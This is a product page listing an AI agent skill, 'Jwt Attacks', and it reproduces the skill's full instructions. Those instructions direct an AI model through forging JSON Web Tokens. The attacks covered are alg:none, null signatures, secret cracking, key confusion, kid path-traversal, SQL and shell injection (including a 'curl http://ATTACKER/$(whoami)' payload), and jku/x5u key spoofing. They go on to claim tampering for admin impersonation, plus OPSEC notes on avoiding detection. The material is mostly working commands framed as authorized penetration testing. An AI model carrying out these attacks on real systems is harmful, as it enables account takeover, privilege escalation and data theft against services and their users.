Jwt Attacks 标志

Jwt Attacks

组织
blacklanternsecurity
jwt-attacks

Exploit JWT (JSON Web Token) vulnerabilities during authorized penetration testing.

概览

发布者blacklanternsecurity
代码仓库red-run
技能名称jwt-attacks
星标数
276
复刻数
39
附带文件
仅含指令
许可协议GPL-3.0
链接
  • Markdown 格式的指令

    模型按需加载 SKILL.md 文件,因此只有在请求确实与该技能匹配时才会消耗 Token。

  • 兼容任何大语言模型

    AI 技能采用纯 Markdown,而非特定提供商的代码,因此可搭配 GPT、Claude、Gemini、Grok 或本地模型使用。

  • 指令自成一体

    模型所需的一切都包含在指令中,无需同步额外文件。

  • 开源

    由 blacklanternsecurity 发布于 GitHub。请在安装前查看技能的源文件。

安装

在 TypingMind 中安装 Jwt Attacks AI 技能,即可搭配任意大语言模型使用;也可以将其放入其他支持读取 SKILL.md 的智能体中。

1

安装到 TypingMind

TypingMind 可直接从 GitHub 文件夹安装技能:读取 SKILL.md,打包资源文件,并将结果保存在本地。

  1. 打开应用,前往“插件 → 技能”。
  2. 选择“从 GitHub 安装”。
  3. 粘贴下方的技能文件夹 URL 并确认。
    https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/jwt-attacks
  4. 请在每个需要使用该技能的聊天中启用它。
依次选择“插件 → 技能 → 添加技能 → 从 GitHub URL 导入”,然后粘贴文件夹 URL 并点击“继续”。
2

安装到其他智能体

任何支持 Agent Skills 格式的智能体都可以使用此技能,只需将文件夹复制到该智能体的技能目录中。

Claude Code — .claude/skills
git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git /tmp/red-run
mkdir -p .claude/skills
cp -r /tmp/red-run/skills/web/jwt-attacks .claude/skills/jwt-attacks
复制后,请重启 Claude Code,以加载新技能。

在 TypingMind 中使用此技能

在任意 TypingMind 聊天中启用 Jwt Attacks,后续即可交由模型处理。技能的名称和描述会放在系统提示词中,一旦请求匹配,模型就会自动加载完整指令,无需您手动调用,且在实际使用前不会消耗 Token。

一旦请求与技能匹配,模型就会自动加载 Jwt Attacks。

兼容任何 AI 模型

AI 技能是纯 Markdown 指令,而非特定提供商的代码,因此 Jwt Attacks 不局限于最初适配的模型。只需在 TypingMind 中安装一次,即可搭配 GPT-5、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 或您自行运行的本地模型使用,全程使用您自己的 API 密钥。

  • 仅在需要时加载

    系统提示词中仅包含技能名称和描述。首次遇到匹配的请求时才会加载完整指令,因此技能未使用时,这些指令不会消耗 Token。

  • 在聊天中切换模型

    技能是指令而非代码,因此切换模型不会导致技能失效,新模型会读取同一个 SKILL.md。

技能指令

这是模型会加载的 SKILL.md 内容。请在安装前阅读,因为技能就是模型将遵循的指令。

JWT Attacks

You are helping a penetration tester exploit JWT (JSON Web Token) vulnerabilities. The target application uses JWTs for authentication or authorization, and weaknesses in signature verification, algorithm handling, or key management allow token forgery or privilege escalation. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [jwt-attacks] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • A JWT token from the target application (Authorization header, cookie, or parameter)
  • Tools: jwt_tool (pip install jwt-tool or clone https://github.com/ticarpi/jwt_tool), hashcat (mode 16500), Burp Suite with JWT Editor extension
  • Optional: openssl for key extraction, jws2pubkey for RSA key recovery

Step 1: Assess

If not already provided, determine:

  1. Locate JWTs — check these locations:
LocationHeader/Field
Authorization headerAuthorization: Bearer eyJ...
Cookiestoken=eyJ..., session=eyJ..., jwt=eyJ...
URL parameters?token=eyJ...
POST body{"token":"eyJ..."}
Hidden form fields<input name="token" value="eyJ...">
  1. Decode the token — JWTs have three Base64URL-encoded parts: header.payload.signature
bash
# Quick decode (jwt_tool)
python3 jwt_tool.py eyJ0eXAi...

# Manual decode
echo -n 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d 2>/dev/null
# {"alg":"HS256","typ":"JWT"}
  1. Identify the algorithm — determines which attacks apply:
AlgorithmTypeAttacks
HS256/384/512Symmetric (HMAC)Brute force, alg:none, null sig
RS256/384/512Asymmetric (RSA)Key confusion, header injection, alg:none
ES256/384/512Asymmetric (ECDSA)Nonce reuse, header injection, alg:none
PS256/384/512Asymmetric (RSA-PSS)Header injection, alg:none
  1. Check for public keys — needed for key confusion and key recovery:
bash
# Common JWKS endpoints
curl -s https://TARGET/.well-known/jwks.json
curl -s https://TARGET/jwks.json
curl -s https://TARGET/openid/connect/jwks.json
curl -s https://TARGET/api/keys
curl -s https://TARGET/oauth2/v1/certs

# Extract from TLS certificate
openssl s_client -connect TARGET:443 2>&1 < /dev/null | \
  sed -n '/-----BEGIN/,/-----END/p' > cert.pem
openssl x509 -pubkey -in cert.pem -noout > pubkey.pem
  1. Note interesting claims in the payload:
ClaimSignificance
subUser identifier — change to impersonate
role / adminAuthorization — escalate privileges
expExpiration — extend or remove
issIssuer — cross-service relay
kidKey ID — injection target (Step 6)
jku / x5uKey URL — SSRF / spoofing target (Step 6)

Skip if context was already provided.

Step 2: Algorithm None (CVE-2015-9235)

The simplest attack. If the server accepts alg: "none", forge any token without a signature.

bash
# jwt_tool — automatic none attack
python3 jwt_tool.py eyJ0eXAi... -X a

Manual construction — set algorithm to none, empty signature:

bash
# Header: {"alg":"none","typ":"JWT"}
# Payload: (modified claims)
# Signature: (empty — token ends with trailing dot)

echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '='
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

echo -n '{"sub":"admin","role":"admin","iat":1516239022}' | base64 -w0 | tr '+/' '-_' | tr -d '='
# Combine: header.payload.
# Note trailing dot (empty signature)

Algorithm case variants (bypass naive validation):

VariantHeader Value
Standard"alg":"none"
Capitalized"alg":"None"
Uppercase"alg":"NONE"
Mixed"alg":"nOnE"

If accepted → Critical finding. Forge admin token with desired claims.

Step 3: Null Signature (CVE-2020-28042)

Keep the algorithm header but strip the signature. Some implementations check the algorithm but skip signature verification.

bash
# jwt_tool — null signature attack
python3 jwt_tool.py eyJ0eXAi... -X n

Manual: Take a valid JWT, modify payload claims, replace signature with empty string (keep the trailing dot).

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.

Step 4: Brute Force Weak Secret (HS256)

If the token uses HMAC (HS256/384/512), the signing secret may be weak.

Save JWT for offline cracking

bash
# Save the full JWT to a file for the credential-recovery skill
echo -n 'eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.signature' > engagement/evidence/jwt-hash.txt

Do NOT crack hashes in this skill. Save the JWT to engagement/evidence/ and return to the orchestrator with the hash file path, hash type (JWT / hashcat mode 16500 for HS256, 16600 for HS384, 16700 for HS512), and a routing recommendation to credential-recovery.

jwt_tool dictionary (quick check)

bash
python3 jwt_tool.py eyJ0eXAi... -C -d /usr/share/wordlists/rockyou.txt

Common weak secrets

Check against the jwt-secrets wordlist (3500+ entries):

secret
password
123456
your_jwt_secret
change_this_super_secret_random_string
key
test
admin
qwerty

If cracked → forge tokens with known secret:

bash
# Forge with jwt_tool
python3 jwt_tool.py eyJ0eXAi... -T -S hs256 -p "cracked_secret"
# Interactive: modify claims, then sign

# Forge with Python
python3 -c "
import jwt
token = jwt.encode({'sub':'admin','role':'admin'}, 'cracked_secret', algorithm='HS256')
print(token)
"

Step 5: Key Confusion — RS256 to HS256 (CVE-2016-5431)

When the server uses RS256 (asymmetric), change the algorithm to HS256 (symmetric). The server may use the public key as the HMAC secret.

Requires: The RSA public key (from JWKS endpoint, TLS cert, or recovery).

jwt_tool

bash
python3 jwt_tool.py eyJ0eXAi... -X k -pk pubkey.pem

Manual (openssl + Python)

bash
# 1. Get public key hex
cat pubkey.pem | xxd -p | tr -d '\n'

# 2. Create header + payload
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: (modified claims)

# 3. Sign with public key as HMAC secret
echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9" | \
  openssl dgst -sha256 -mac HMAC -macopt hexkey:$(cat pubkey.pem | xxd -p | tr -d '\n')

# 4. Convert hex signature to Base64URL
python3 -c "
import base64, binascii
sig_hex = 'HEX_OUTPUT_HERE'
print(base64.urlsafe_b64encode(binascii.a2b_hex(sig_hex)).rstrip(b'=').decode())
"

Burp JWT Editor workflow

  1. Obtain public key from /.well-known/jwks.json
  2. JWT Editor Keys → New RSA Key → paste JWK
  3. Copy the PEM (public key) from the key dialog
  4. Base64-encode the PEM
  5. JWT Editor Keys → New Symmetric Key → replace k value with Base64-encoded PEM
  6. Edit JWT: change alg to HS256, modify payload claims
  7. Sign with the symmetric key

RSA public key recovery

If no JWKS endpoint exists, recover the public key from two signed tokens:

bash
# Requires two different JWTs signed with the same RSA key
docker run -it ttervoort/jws2pubkey "$(cat jwt1.txt)" "$(cat jwt2.txt)" | tee pubkey.jwk

Step 6: Header Injection Attacks

6a. kid (Key ID) Injection

The kid header selects which key verifies the token. If it's used in file paths or database queries, it's injectable.

Path traversal — sign with known file content:

bash
# /dev/null = empty content → sign with empty string
python3 jwt_tool.py eyJ0eXAi... -I -hc kid -hv "../../dev/null" -S hs256 -p ""

# /proc/sys/kernel/randomize_va_space = "2" → sign with "2"
python3 jwt_tool.py eyJ0eXAi... -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"

SQL injection — force a known secret:

json
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "key1' UNION SELECT 'ATTACKER_SECRET' -- -"
}

Then sign the token with ATTACKER_SECRET as the HMAC key.

bash
python3 jwt_tool.py eyJ0eXAi... -I -hc kid -hv "' UNION SELECT 'ATTACKER' -- -" -S hs256 -p "ATTACKER"

Command injection (if kid is used in shell commands):

json
{
  "kid": "/path/to/key; curl http://ATTACKER/$(whoami)"
}

6b. jwk (JSON Web Key) Embedding (CVE-2018-0114)

Embed an attacker-controlled public key directly in the JWT header. The server uses it to verify the token you signed with your private key.

bash
# jwt_tool — automatic JWK injection
python3 jwt_tool.py eyJ0eXAi... -X i

Burp JWT Editor: Edit JWT → Attack → Embedded JWK

Manual: Generate RSA keypair, sign token with private key, embed public key as jwk in header:

json
{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "kid": "attacker-key",
    "use": "sig",
    "e": "AQAB",
    "n": "<attacker-public-key-modulus>"
  }
}

6c. jku (JWK Set URL) Spoofing

Point the jku header to an attacker-controlled JWKS endpoint. The server fetches your public key and uses it to verify the token.

bash
# jwt_tool — automatic jku spoofing
python3 jwt_tool.py eyJ0eXAi... -X s -ju https://ATTACKER/jwks.json

Setup attacker JWKS:

bash
# Generate keypair
openssl genrsa -out attacker.pem 2048
openssl rsa -in attacker.pem -pubout -out attacker_pub.pem

# Extract n and e for JWKS
python3 -c "
from Crypto.PublicKey import RSA
import base64
key = RSA.import_key(open('attacker_pub.pem').read())
n = base64.urlsafe_b64encode(key.n.to_bytes((key.n.bit_length()+7)//8, 'big')).rstrip(b'=').decode()
e = base64.urlsafe_b64encode(key.e.to_bytes((key.e.bit_length()+7)//8, 'big')).rstrip(b'=').decode()
print(f'{{\"keys\":[{{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"n\":\"{n}\",\"e\":\"{e}\"}}]}}')
" > jwks.json

# Host JWKS (serve on attacker machine)
python3 -m http.server 8080

Forged JWT header:

json
{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "attacker",
  "jku": "https://ATTACKER:8080/jwks.json"
}

jku URL restrictions bypass (if server validates domain):

  • https://TARGET/.well-known/jwks.json@ATTACKER/jwks.json
  • https://TARGET#@ATTACKER/jwks.json
  • https://ATTACKER/jwks.json?TARGET
  • Open redirect on target: https://TARGET/redirect?url=https://ATTACKER/jwks.json
  • Fragment: https://TARGET/.well-known/jwks.json#ATTACKER

6d. x5u / x5c Certificate Injection

x5u — point to attacker-controlled X.509 certificate:

bash
# Generate self-signed cert
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt

# Host cert, set x5u header to https://ATTACKER/attacker.crt
# Sign token with attacker.key

x5c — embed attacker certificate chain directly in the header:

bash
# Base64-encode certificate (without PEM headers)
cat attacker.crt | grep -v '^-----' | tr -d '\n'
# Embed in x5c array in JWT header

Step 7: Claim Tampering

After finding a signing bypass (Steps 2-6), modify claims for privilege escalation.

Common escalation targets

json
// User → Admin
{"sub":"1234","role":"user"} → {"sub":"1234","role":"admin"}

// Add admin flag
{"sub":"user1"} → {"sub":"user1","admin":true}

// Impersonate another user
{"sub":"lowpriv-user"} → {"sub":"admin-user-id"}

// Change email / username
{"email":"attacker@evil.com"} → {"email":"admin@target.com"}

Expiration bypass

json
// Remove exp claim entirely
{"sub":"user","exp":1516239022} → {"sub":"user"}

// Extend to far future
{"sub":"user","exp":1516239022} → {"sub":"user","exp":9999999999}

Cross-service relay

If multiple services trust the same JWT issuer:

  1. Obtain a valid JWT from Service B
  2. Replay it against Service A
  3. If Service A accepts → account takeover across services

Step 8: Escalate or Pivot

STOP and return to the orchestrator with:

  • What was achieved (RCE, creds, file read, etc.)
  • New credentials, access, or pivot paths discovered
  • Context for next steps (platform, access method, working payloads)

OPSEC Notes

  • Token forgery is client-side — no server-side artifacts from crafting
  • Brute-forcing is offline — no failed login attempts
  • jku/x5u attacks cause server-side HTTP requests (logged, may trigger SSRF detection)
  • Sending forged tokens to endpoints generates normal HTTP traffic but may trigger auth failure logging if the attack fails
  • jwt_tool's -M at mode sends many requests — rate limit or use targeted attacks

Troubleshooting

alg:none Rejected

  • Try case variants: None, NONE, nOnE
  • Ensure signature is empty but trailing dot is present: header.payload.
  • Some libraries reject none but accept null or empty string for alg

Key Confusion Fails

  • Verify you have the correct public key (check JWKS kid matches token kid)
  • Public key must include PEM headers (-----BEGIN PUBLIC KEY-----)
  • Some libraries explicitly reject HS256 when configured for RS256 — this attack only works on libraries that accept any algorithm from the token
  • Try both PKCS#1 and PKCS#8 PEM formats

JWT Secret Not Cracking

If jwt_tool dictionary check fails and you need GPU-accelerated cracking, route to credential-recovery with the JWT hash file and hashcat mode 16500 (HS256), 16600 (HS384), or 16700 (HS512).

jwt_tool Errors

  • Install dependencies: pip install pycryptodomex requests termcolor
  • For key confusion, use -pk with a PEM file (not JWK)
  • For jku spoofing, the JWKS must be served over HTTPS if the target validates the scheme
  • Use -V for verbose output to see what jwt_tool is sending

常见问题

Jwt Attacks AI 技能有什么作用?

Exploit JWT (JSON Web Token) vulnerabilities during authorized penetration testing.

为什么在 TypingMind 中使用 Jwt Attacks?

因为您只需安装一次,就能搭配任何模型使用。Jwt Attacks 采用纯 Markdown 格式,而非特定提供商专用的代码,因此同一技能可用于 GPT-5、Claude、Gemini、Grok 或本地模型。您甚至可以在聊天中途切换模型,而不会影响技能的正常使用。TypingMind 使用您自己的 API 密钥,因此您直接向提供商付费,而不是按席位订阅;您的技能和聊天记录也都保留在您自己的存储空间中。

如何在 TypingMind 中安装 Jwt Attacks?

在 TypingMind 中打开“插件 → 技能 → 从 GitHub 安装”,然后粘贴 https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/jwt-attacks。TypingMind 会读取其中的 SKILL.md,并将其安装为技能,供您在各个聊天中按需启用。

哪些 AI 模型可以使用 Jwt Attacks?

您在 TypingMind 中连接的任何模型都可以。AI 技能采用纯 Markdown 指令,而非特定提供商专用的代码,因此 GPT、Claude、Gemini、Grok 和本地模型都能在请求匹配时加载此技能。

Jwt Attacks 可以搭配多少个 AI 模型使用?

数量不限。只要模型支持技能,您就可以将它与 Jwt Attacks 搭配使用。GPT、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 等模型都可以通过您自己的 API 密钥接入 TypingMind。

Jwt Attacks AI 技能免费吗?

是的。blacklanternsecurity 已在 GitHub 上根据 GPL-3.0 许可证发布了该技能。您只需向自己的 AI 提供商支付所用 Token 的费用。

什么是 AI 技能?

AI 技能是一组可复用的指令,用于教会 AI 模型完成某项特定任务。它遵循开放的 Agent Skills 格式:包含名称和描述的 SKILL.md 文件,以及模型可能需要的脚本、模板或参考文件。模型仅在您的请求与技能匹配时才会读取这些指令,因此已安装的技能在使用前不会产生任何费用。

AI 技能与插件或 MCP 服务器有何不同?

插件或 MCP 服务器为模型提供可调用的新工具,也就是在某处运行并返回结果的代码。AI 技能则为模型提供知识和流程:如何处理任务、遵循哪些步骤,以及怎样的输出才算优质。技能采用纯 Markdown 格式,因此不需要服务器、API 密钥或运行时环境,并且适用于任何模型。

查看全部

立即创建您自己的 AI 工作区

订阅我们的电子简报,获取新功能和后续赠奖活动的通知 👇